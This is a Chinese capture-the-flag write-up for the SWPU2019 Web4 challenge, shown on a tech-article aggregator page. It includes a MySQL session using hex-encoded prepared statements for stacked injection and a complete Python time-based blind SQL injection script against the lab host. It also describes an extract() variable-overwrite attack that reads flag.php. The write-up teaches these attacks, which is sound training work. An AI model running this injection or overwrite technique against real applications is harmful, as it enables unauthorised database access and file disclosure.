IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> [SWPU2019]Web4 -> 正文阅读

[大数据][SWPU2019]Web4

知识点:16进制+mysql预处理,在PDO环境下的sql进行堆叠注入、mvc框架的简单审计、extract函数变量覆盖

分析

登录没反应,注册功能没有,也没有目录穿越和伪协议读取,那么抓个包吧,可以看到状态码,和一个状态信息,试一下注入,可以看到加了单引号报错,双引号却没有,单引号加分号没错,那么就很明显了,是堆叠注入。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
并且还过滤了一大堆关键词,这边就要用16进制+mysql预处理来进行预处理,预处理我理解就是类似动态调用,那么16进制+mysql预处理是怎么进行堆叠注入的呢?我们借助MySQL来看一下。
在这里插入图片描述
从sql界面中可以看出,我们用预处理来执行16进制后的sql语句是可以的,那么我们就可以进行堆叠注入了。
知识点详细了解处:https://xz.aliyun.com/t/3950

mysql> select hex('select sleep(5)');
+--------------------------------+
| hex('select sleep(5)')         |
+--------------------------------+
| 73656C65637420736C656570283529 |
+--------------------------------+
1 row in set (0.01 sec)

mysql> set @a = 0x73656C65637420736C656570283529;
Query OK, 0 rows affected (0.00 sec)

mysql> prepare smtm_test from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> execute smtm_test;
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+

获取源码文件名-exp

exp出处:https://www.anquanke.com/post/id/194640#h3-4

import requests
import json
import time

def main():
    url = 'http://2f40d5e5-47d2-45c6-9f2c-eeafd0786245.node4.buuoj.cn:81/index.php?r=Login/Login'
    payloads = "admin';set @a=0x{0};prepare smtm_test from @a;execute smtm_test-- -"
    flag = ''
    for i in range(27,30):
        payload = 'select if(ascii(substr((select  flag from flag),{0},1))={1},sleep(3),0)'
        for j in range(32,127):
            datas = {"username":payloads.format(str_to_hex(payload.format(i,j))),"password":"123456"}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url=url, data=data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break


def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

源码文件:glzjin_wants_a_girl_friend.zip

利用点

flag文件提示我们要通过某些方法访问它。
在这里插入图片描述

fun.php中解释了路由的构成。 例如:Login/Index就是LoginController下的actionIndex函数
在这里插入图片描述
也就是说r=Login/Index访问了Controller文件夹下的文件。
在这里插入图片描述
在BaseController.php中看到了一个extract函数,可以用来变量覆盖,且这是一个mvc框架,那么view文件夹下的就是客户端的,$this->viewPath = BASE_PATH . "/View/{$viewName}.php"; include包含了里面传的一个参数,找找哪边可以利用来传参。
在这里插入图片描述
UserController.php中可以传参给BaseController.php中的$viewName属性,此时已经确定了index.php?r=User/Index,接下来就去view/userIndex.php文件看看
在这里插入图片描述
view/userIndex.php中,有一段把图片转为base64然后输出的代码片段,那么我们可以利用extract函数覆盖掉$img_base64/../flag.php,这样就可以得到flag的base64加密后的值了。
在这里插入图片描述

输入参数:
在这里插入图片描述
获得flag:
在这里插入图片描述
在这里插入图片描述

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-09-21 00:35:41  更:2022-09-21 00:39:59 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 10:58:12-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码